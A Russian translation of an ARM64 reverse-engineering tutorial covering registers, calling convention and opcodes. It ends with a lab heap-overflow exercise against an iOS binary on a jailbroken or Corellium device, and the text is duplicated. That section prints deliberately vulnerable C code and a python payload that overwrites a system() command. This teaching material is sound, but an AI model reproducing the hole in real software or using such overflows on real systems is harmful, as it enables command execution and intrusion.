ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 1 - набор инструкций ARM + простое переполнение
Оглавление
Всем привет! В этой серии статей мы познакомимся с набором инструкций ARM и будем использовать его для реверсинга двоичных файлов ARM с последующим написанием эксплойтов для них. Итак, начнем с основ ARM64.
Введение в ARM64
ARM64 - это семейство архитектуры RISC (вычисление с сокращенным набором команд). Отличительным фактором архитектуры RISC является использование небольшого, высоко оптимизированного набора инструкций, а не более специализированного набора, часто встречающегося в других типах архитектуры (например, CISC). ARM64 следует подходу Загрузки/Сохранения, в котором и операнды, и место назначения должны быть в регистрах.
Архитектура загрузки-сохранения - это архитектура набора команд, которая делит инструкции на две категории: доступ к памяти (загрузка и сохранение между памятью и регистрами) и операции ALU (которые происходят только между регистрами). Это отличается от архитектуры регистр-память (например, архитектуры набора инструкций CISC, такой как x86), в которой один из операндов для операции ADD может находиться в памяти, а другой - в регистре. Использование архитектуры ARM идеально подходит для мобильных устройств, поскольку архитектура RISC требует небольшого количества транзисторов и, следовательно, приводит к меньшему энергопотреблению и нагреву устройства, что приводит к увеличению времени автономной работы, что очень важно для мобильных устройств.
И текущие телефоны iOS и Android используют процессоры ARM, а более новые используют ARM64 в частности. Таким образом, реверсинг ассемблерного кода ARM64 жизненно важно для понимания внутренней работы двоичного файла или любого двоичного файла/приложения. Невозможно охватить весь набор инструкций ARM64 в этой серии статей, поэтому мы сосредоточимся на наиболее полезных инструкциях и наиболее часто используемых регистрах. Также важно отметить, что ARM64 также называется ARMv8 (8.1, 8.3 и так далее), А ARM32 - это ARMv7.
ARMv8 (ARM64) поддерживает совместимость с существующей 32-битной архитектурой за счет использования двух состояний выполнения - Aarch32 и Aarch64. В состоянии Aarch32 процессор может обращаться только к 32-битным регистрам. В состоянии Aarch64 процессор может обращаться к 32-битным и 64-битным регистрам. ARM64 есть несколько регистров общего и специального назначения. Регистры общего назначения - это те регистры, которые не имеют побочных эффектов и, следовательно, могут использоваться большинством инструкций. С ними можно делать арифметические операции, использовать их для адресов памяти и так далее. Регистры специального назначения также не имеют побочных эффектов, но могут использоваться только для определенных целей и только по определенным инструкциям. Другие инструкции могут неявно зависеть от их значений. Одним из примеров этого является регистр указателя стека. А еще у нас есть контрольные регистры - у этих регистров есть побочные эффекты. На ARM64 это регистры, такие как TTBR (Базовый Регистр Таблицы Трансляции), который содержит базовый указатель таблиц текущей страницы. Многие из них будут привилегированными и могут использоваться только кодом ядра. Однако некоторые регистры управления могут использоваться кем угодно.
На изображении ниже мы видим некоторые управляющие регистры из ядра XNU.
Современная ОС предполагает наличие нескольких уровней привилегий, которые она может использовать для управления доступом к ресурсам. Примером этого является разделение между ядром и пользовательской средой. Armv8 обеспечивает такое разделение, реализуя различные уровни привилегий, которые в архитектуре Armv8-A называются уровнями исключений. ARMv8 имеет несколько уровней исключений, которые пронумерованы (EL0, EL1 и так далее), чем выше номер, тем выше привилегия. При возникновении исключения уровень исключения может увеличиваться или оставаться прежним. Однако при возврате из исключения уровень исключения может либо уменьшиться, либо остаться прежним.
Состояние выполнения (Aarch32 или Aarch64) может измениться, принимая или возвращаясь из исключения. При включении устройство переходит на самый высокий уровень исключения.
С точки зрения привилегии EL0 <EL1 <EL2 <EL3
Регистры ARM64
В следующем списке определены различные регистры ARM64 и их назначение.
Соглашение о вызовах ARM64
- Аргументы передаются в регистры x0-x7, остальные передаются в стек
- команда ret используется для возврата к адресу в регистре Link (значение по умолчанию x30)
- Возвращаемое значение функции сохраняется в x0 или x0+x1 в зависимости от того, 64-битное оно или 128-битное.
- x8 - регистр косвенного результата, используемый для передачи адреса косвенного результата, например, когда функция возвращает большую структуру
- Переход к функции происходит с использованием опкода B.
- Branch with link (BL) копирует адрес следующей инструкции (после BL) в регистр ссылок (x30) перед переходом
- BL, следовательно, используется для вызовов подпрограмм
- Вызов BR используется для перехода в регистр, например, br x8
- Код BLR используется для перехода в регистр и сохранения адреса следующей инструкции (после BL) в регистре ссылок (x30)
Опкоды ARM
Системные регистры
Помимо этого, также могут быть некоторые системные регистры, которые доступны только в этой конкретной ОС. Например, следующие регистры присутствуют в iOS
Чтение/запись системных регистров
MRS, systemreg -> Прочитать из системного регистра в регистр назначения Xt
MSR, systemreg -> Записать в системный регистр значение, хранящееся в регистре Xt
Например, используйте MSR PAN, #1 для установки бита PAN и MSR PAN, #0 для очистки бита PAN
Пролог/Эпилог функции
Пролог - появляется в начале функции, подготавливает стек и регистры для использования в функции.
Эпилог - появляется в конце функции, восстанавливает стек и регистры в исходное состояние до вызова функции.
Примеры
Простое переполнение кучи
Давайте напишем простой эксплойт переполнения кучи для двоичного файла ARM.
Ваша задача - использовать уязвимость переполнения кучи в двоичном файле vuln, чтобы выполнить команду по вашему выбору. Двоичные файлы скомпилированы для платформы iOS, поэтому их необходимо запускать на взломанном устройстве iOS.
Бинарные файлы для этой и следующей статьи можно найти здесь (https://drive.google.com/file/d/1f3PDEz-Fh9I3rSDhpMGW5ZrCU9g0BjKL/view?usp=sharing)
Подключитесь по SSH к вашему устройству Corellium (или взломанной iOS) и запустите двоичный файл vuln
$ vuln
Запустите двоичный файл vuln. Вы получаете сообщение "Удачи в следующий раз"
Давайте откроем двоичный файл в Hopper, чтобы посмотреть, что происходит. Давайте посмотрим на основную функцию.
Итак, ясно, что нам нужно сделать, чтобы перейти к функции heapOverflow.
Для этого должны быть выполнены следующие требования.
- Передайте три аргумента (или 2, потому что первый аргумент в программе C - это команда, с которой программа вызывается)
- argv[1] должен быть строкой "heap"
- argv[2] должен быть аргументом, который передается в качестве первого аргумента в функцию heapOverflow.
Просто напомню
Основная функция в C имеет прототип
int main(int argc, char **argv)
argc - целое число, которое содержит количество аргументов, следующих в argv. Параметр argc всегда больше или равен 1.
argv - массив строк с завершающим нулем, представляющих аргументы командной строки, введенные пользователем программы.
По соглашению, argv [0] - это команда, с которой вызывается программа, argv [1] - это первый аргумент командной строки, и так далее, пока argv [argc], который всегда NULL
Давайте также посмотрим на псевдокод функции heapOverflow. Обратите внимание, что PseudoCode отображается для 32-разрядной архитектуры, но все же дает вам хорошее представление о потоке программы.
Кажется, что он пытается открыть файл с именем в качестве первого аргумента, который ему передается.
В конце также есть вызов системной функции, которая выполняет команду, input - регистр r22 (или x22)
Выделение для r21 (x21) составляет 0x400 байт, которое читается с помощью следующей команды fread
fread (r21, 0x1, r20, r19);
Давайте создадим на устройстве простой файл и передадим его в качестве входных данных в двоичный файл vuln.
echo "Hello World" > input.txt ./vuln heap input.txt
Кажется, он распечатывает ввод для команды whoami
Давайте немного схитрим, чтобы взглянуть на сам исходный код
Конечно, передача файла длиной более 0x400 байтов приведет к переполнению смежной памяти и может закончиться переполнением строки "command", и, таким образом, когда будет выполнен системный вызов, мы сможем вызывать наши собственные команды.
На устройстве Corellium используйте следующую команду для создания вредоносного файла
python3 -c ‘print (“/”*0x400+”/bin/ls\x00”)’> hax.txt
Затем передайте его как ввод в двоичный файл.
vuln heap hax.txt
Вместо команды whoami выполняется команда ls.
Можете ли вы попробовать получить оболочку на устройство, используя это?
Ссылки
Источник 8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/
Автор перевода: yashechka
Переведено специально для https://xss.pro
Оглавление
- ARM64 реверсинг и эксплуатация часть 0x1
- ARM64 реверсинг и эксплуатация часть 0x2
- ARM64 реверсинг и эксплуатация часть 0x3
- ARM64 реверсинг и эксплуатация часть 0x4
- ARM64 реверсинг и эксплуатация часть 0x5
- ARM64 реверсинг и эксплуатация часть 0x6
- ARM64 реверсинг и эксплуатация часть 0x7
- ARM64 реверсинг и эксплуатация часть 0x8
- ARM64 реверсинг и эксплуатация часть 0x9
- ARM64 реверсинг и эксплуатация часть 0x10
Всем привет! В этой серии статей мы познакомимся с набором инструкций ARM и будем использовать его для реверсинга двоичных файлов ARM с последующим написанием эксплойтов для них. Итак, начнем с основ ARM64.
Введение в ARM64
ARM64 - это семейство архитектуры RISC (вычисление с сокращенным набором команд). Отличительным фактором архитектуры RISC является использование небольшого, высоко оптимизированного набора инструкций, а не более специализированного набора, часто встречающегося в других типах архитектуры (например, CISC). ARM64 следует подходу Загрузки/Сохранения, в котором и операнды, и место назначения должны быть в регистрах.
Архитектура загрузки-сохранения - это архитектура набора команд, которая делит инструкции на две категории: доступ к памяти (загрузка и сохранение между памятью и регистрами) и операции ALU (которые происходят только между регистрами). Это отличается от архитектуры регистр-память (например, архитектуры набора инструкций CISC, такой как x86), в которой один из операндов для операции ADD может находиться в памяти, а другой - в регистре. Использование архитектуры ARM идеально подходит для мобильных устройств, поскольку архитектура RISC требует небольшого количества транзисторов и, следовательно, приводит к меньшему энергопотреблению и нагреву устройства, что приводит к увеличению времени автономной работы, что очень важно для мобильных устройств.
И текущие телефоны iOS и Android используют процессоры ARM, а более новые используют ARM64 в частности. Таким образом, реверсинг ассемблерного кода ARM64 жизненно важно для понимания внутренней работы двоичного файла или любого двоичного файла/приложения. Невозможно охватить весь набор инструкций ARM64 в этой серии статей, поэтому мы сосредоточимся на наиболее полезных инструкциях и наиболее часто используемых регистрах. Также важно отметить, что ARM64 также называется ARMv8 (8.1, 8.3 и так далее), А ARM32 - это ARMv7.
ARMv8 (ARM64) поддерживает совместимость с существующей 32-битной архитектурой за счет использования двух состояний выполнения - Aarch32 и Aarch64. В состоянии Aarch32 процессор может обращаться только к 32-битным регистрам. В состоянии Aarch64 процессор может обращаться к 32-битным и 64-битным регистрам. ARM64 есть несколько регистров общего и специального назначения. Регистры общего назначения - это те регистры, которые не имеют побочных эффектов и, следовательно, могут использоваться большинством инструкций. С ними можно делать арифметические операции, использовать их для адресов памяти и так далее. Регистры специального назначения также не имеют побочных эффектов, но могут использоваться только для определенных целей и только по определенным инструкциям. Другие инструкции могут неявно зависеть от их значений. Одним из примеров этого является регистр указателя стека. А еще у нас есть контрольные регистры - у этих регистров есть побочные эффекты. На ARM64 это регистры, такие как TTBR (Базовый Регистр Таблицы Трансляции), который содержит базовый указатель таблиц текущей страницы. Многие из них будут привилегированными и могут использоваться только кодом ядра. Однако некоторые регистры управления могут использоваться кем угодно.
На изображении ниже мы видим некоторые управляющие регистры из ядра XNU.
Современная ОС предполагает наличие нескольких уровней привилегий, которые она может использовать для управления доступом к ресурсам. Примером этого является разделение между ядром и пользовательской средой. Armv8 обеспечивает такое разделение, реализуя различные уровни привилегий, которые в архитектуре Armv8-A называются уровнями исключений. ARMv8 имеет несколько уровней исключений, которые пронумерованы (EL0, EL1 и так далее), чем выше номер, тем выше привилегия. При возникновении исключения уровень исключения может увеличиваться или оставаться прежним. Однако при возврате из исключения уровень исключения может либо уменьшиться, либо остаться прежним.
Состояние выполнения (Aarch32 или Aarch64) может измениться, принимая или возвращаясь из исключения. При включении устройство переходит на самый высокий уровень исключения.
С точки зрения привилегии EL0 <EL1 <EL2 <EL3
Регистры ARM64
В следующем списке определены различные регистры ARM64 и их назначение.
- x0-x30 - 64-битные регистры общего назначения. Доступ к их нижним частям можно получить через w0-w30.
- Имеется четыре регистра указателя стека SP\_EL0, SP\_EL1, SP\_EL2, SP\_EL3 (каждый для разных уровней выполнения), которые имеют ширину 32 бита. Кроме того, есть три регистра связи исключений ELR\_EL1, ELR\_EL2, ELR\_EL3, три сохраненных регистра состояния программы SPSR\_EL1, SPSR\_EL2, SPSR\_EL3 и один регистр счетчика программ (PC).
- Arm также использует относительную адресацию ПК - при этом он указывает адрес операнда относительно PC (базовый адрес) - Это помогает в выдаче независимого от позиции кода.
- В ARM64 (в отличие от ARM32) к PC невозможно получить доступ по большинству инструкций, особенно напрямую. PC модифицируется косвенно с использованием инструкций перехода или стека.
- Точно так же регистр SP (указатель стека) никогда не изменяется неявно (например, при использовании вызовов push/pop).
- Регистр текущего состояния программы (CPSR) содержит те же флаги состояния программы, что и APSR, вместе с некоторой дополнительной информацией.
- Первый регистр в коде операции обычно является местом назначения, остальные - источником (кроме str, stp)
| Регистры | Назначение |
|---|---|
| x0 -x7 | Аргументы (до 8) - остаются в стеке |
| x8 -x18 | Общего назначение, хранящие переменные. По возвращении из функции нельзя делать никаких предположений. |
| x19 -x28 | Если используется функцией, их значения должны быть сохранены и позже восстановлены при возврате к вызывающей функции |
| x29 (fp) | Указатель кадра (указывает в нижнюю часть кадра) |
| x30 (lr) | Ссылка на регистр. Содержит обратный адрес вызова |
| x16 | Сохраняет системный вызов # в вызове (SVC 0x80) |
| x31 (sp/(x/w)zr) | Указатель стека (sp) или нулевой регистр (xzr или wzr) |
| PC | Регистр счетчика программ ПК. Содержит адрес следующей инструкции, которая должна быть выполнена |
| APSR / CPSR | Регистр текущего состояния программы |
Соглашение о вызовах ARM64
- Аргументы передаются в регистры x0-x7, остальные передаются в стек
- команда ret используется для возврата к адресу в регистре Link (значение по умолчанию x30)
- Возвращаемое значение функции сохраняется в x0 или x0+x1 в зависимости от того, 64-битное оно или 128-битное.
- x8 - регистр косвенного результата, используемый для передачи адреса косвенного результата, например, когда функция возвращает большую структуру
- Переход к функции происходит с использованием опкода B.
- Branch with link (BL) копирует адрес следующей инструкции (после BL) в регистр ссылок (x30) перед переходом
- BL, следовательно, используется для вызовов подпрограмм
- Вызов BR используется для перехода в регистр, например, br x8
- Код BLR используется для перехода в регистр и сохранения адреса следующей инструкции (после BL) в регистре ссылок (x30)
Опкоды ARM
| Опкоды | Назначение |
|---|---|
| MOV | Переместить один регистр в другой |
| MOVN | Переместить отрицательное значение в регистр |
| MOVK | Переместить 16 бит в регистр, а остальные оставить без изменений |
| MOVZ | Сдвинутые 16-битные регистры, оставив остальные без изменений |
| lsl/lsr | Логический сдвиг влево, Логический сдвиг вправо |
| ldr | Загрузить регистр |
| str | Сохранить регистр |
| ldp/stp | Загрузить/сохранить два регистра друг за другом |
| adr | Адрес метки при смещении относительно PC |
| adrp | Адрес страницы при смещении относительно PC |
| cmp | Сравнить два значения, флаги обновляются автоматически |
| bne | Переход, если нулевой флаг не установлен |
Системные регистры
Помимо этого, также могут быть некоторые системные регистры, которые доступны только в этой конкретной ОС. Например, следующие регистры присутствуют в iOS
Чтение/запись системных регистров
MRS, systemreg -> Прочитать из системного регистра в регистр назначения Xt
MSR, systemreg -> Записать в системный регистр значение, хранящееся в регистре Xt
Например, используйте MSR PAN, #1 для установки бита PAN и MSR PAN, #0 для очистки бита PAN
Пролог/Эпилог функции
Пролог - появляется в начале функции, подготавливает стек и регистры для использования в функции.
Эпилог - появляется в конце функции, восстанавливает стек и регистры в исходное состояние до вызова функции.
Примеры
- mov x0, x1 -> x0 = x1
- movn x0, 1 -> x0 = -1
- add x0, x1 -> x0 = x0 + x1
- ldr x0, [x1] -> x0 = *x1 -> x0 = Адрес хранится в x1
- ldr x0, [x1, 0x10]! -> x1 += 0x10; x0 = *x1(Режим предварительной индексации)
- ldr x0, [x1], 0x10 -> x0 = *x1; x1 += 0x10 (Режим пост-индексации)
- str x0, [x1] -> *x1 = x0 -> Назначение хранится справа
- ldr x0, [x1, 0x10] -> x0 = *(x1 + 0x10)
- ldrb w0, [x1] -> Загрузить байт из адреса, хранящегося в x1
- ldrsb w0, [x1] -> Загрузить байт со знаком из адреса, хранящегося в x1
- adr x0, label -> Загрузить адрес label в x0
- stp x0, x1, [x2] -> *x2 = x0; *(x2 + 8) = x1
- stp x29, x30, [sp, -64]! -> Сохранить x29, x30 (LR) на стек
- ldp x29, x30, [sp], 64] -> Восстановить x29, x30 (LR) из стека
- svc 0 -> Выполнить системный вызов (регистр x16 номер системного вызова)
- str x0, [x29] -> Сохранить x0 по адресу x29 (пункт назначения справа)
- ldr x0, [x29] -> Загрузить значение из адреса в x29 в x0
- blr x0 -> Вызвать подпрограмму по адресу, хранящемуся в x0, сохраняет следующую инструкцию в регистре ссылок (x30)
- br x0 -> Перейти к адресу, хранящемуся в x0
- bl label -> Переход к label, сохранение следующей инструкции в регистре ссылок (x30)
- bl printf -> Вызов функции printf с сохраненными аргументами x0, x1
- ret -> Перейти по адресу, хранящемуся в x30
Простое переполнение кучи
Давайте напишем простой эксплойт переполнения кучи для двоичного файла ARM.
Ваша задача - использовать уязвимость переполнения кучи в двоичном файле vuln, чтобы выполнить команду по вашему выбору. Двоичные файлы скомпилированы для платформы iOS, поэтому их необходимо запускать на взломанном устройстве iOS.
Бинарные файлы для этой и следующей статьи можно найти здесь (https://drive.google.com/file/d/1f3PDEz-Fh9I3rSDhpMGW5ZrCU9g0BjKL/view?usp=sharing)
Подключитесь по SSH к вашему устройству Corellium (или взломанной iOS) и запустите двоичный файл vuln
$ vuln
Запустите двоичный файл vuln. Вы получаете сообщение "Удачи в следующий раз"
Давайте откроем двоичный файл в Hopper, чтобы посмотреть, что происходит. Давайте посмотрим на основную функцию.
Итак, ясно, что нам нужно сделать, чтобы перейти к функции heapOverflow.
Для этого должны быть выполнены следующие требования.
- Передайте три аргумента (или 2, потому что первый аргумент в программе C - это команда, с которой программа вызывается)
- argv[1] должен быть строкой "heap"
- argv[2] должен быть аргументом, который передается в качестве первого аргумента в функцию heapOverflow.
Просто напомню
Основная функция в C имеет прототип
int main(int argc, char **argv)
argc - целое число, которое содержит количество аргументов, следующих в argv. Параметр argc всегда больше или равен 1.
argv - массив строк с завершающим нулем, представляющих аргументы командной строки, введенные пользователем программы.
По соглашению, argv [0] - это команда, с которой вызывается программа, argv [1] - это первый аргумент командной строки, и так далее, пока argv [argc], который всегда NULL
Давайте также посмотрим на псевдокод функции heapOverflow. Обратите внимание, что PseudoCode отображается для 32-разрядной архитектуры, но все же дает вам хорошее представление о потоке программы.
Кажется, что он пытается открыть файл с именем в качестве первого аргумента, который ему передается.
В конце также есть вызов системной функции, которая выполняет команду, input - регистр r22 (или x22)
Выделение для r21 (x21) составляет 0x400 байт, которое читается с помощью следующей команды fread
fread (r21, 0x1, r20, r19);
Давайте создадим на устройстве простой файл и передадим его в качестве входных данных в двоичный файл vuln.
echo "Hello World" > input.txt ./vuln heap input.txt
Кажется, он распечатывает ввод для команды whoami
Давайте немного схитрим, чтобы взглянуть на сам исходный код
C:
void heapOverflow(char *filename){
printf("Heap overflow challenge. Execute a shell command of your choice on the device\n");
printf("Welcome: from %s, printing out the current user\n", filename);
FILE *f = fopen(filename,"rb");
fseek(f, 0, SEEK_END);
size_t fs = ftell(f);
fseek(f, 0, SEEK_SET);
char *name = malloc(0x400);
char *command = malloc(0x400);
strcpy(command,"whoami");
fread(name, 1, fs, f);
system(command);
return;
}
Конечно, передача файла длиной более 0x400 байтов приведет к переполнению смежной памяти и может закончиться переполнением строки "command", и, таким образом, когда будет выполнен системный вызов, мы сможем вызывать наши собственные команды.
На устройстве Corellium используйте следующую команду для создания вредоносного файла
python3 -c ‘print (“/”*0x400+”/bin/ls\x00”)’> hax.txt
Затем передайте его как ввод в двоичный файл.
vuln heap hax.txt
Вместо команды whoami выполняется команда ls.
Можете ли вы попробовать получить оболочку на устройство, используя это?
Ссылки
- https://github.com/Siguza/ios-resources/blob/master/bits/arm64.md
- https://github.com/Billy-Ellis/Exploit-Challenges
- https://developer.arm.com/documenta...manual-armv8-for-armv8-a-architecture-profile https://exploit.education
Источник 8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/
Автор перевода: yashechka
Переведено специально для https://xss.pro
Последнее редактирование модератором: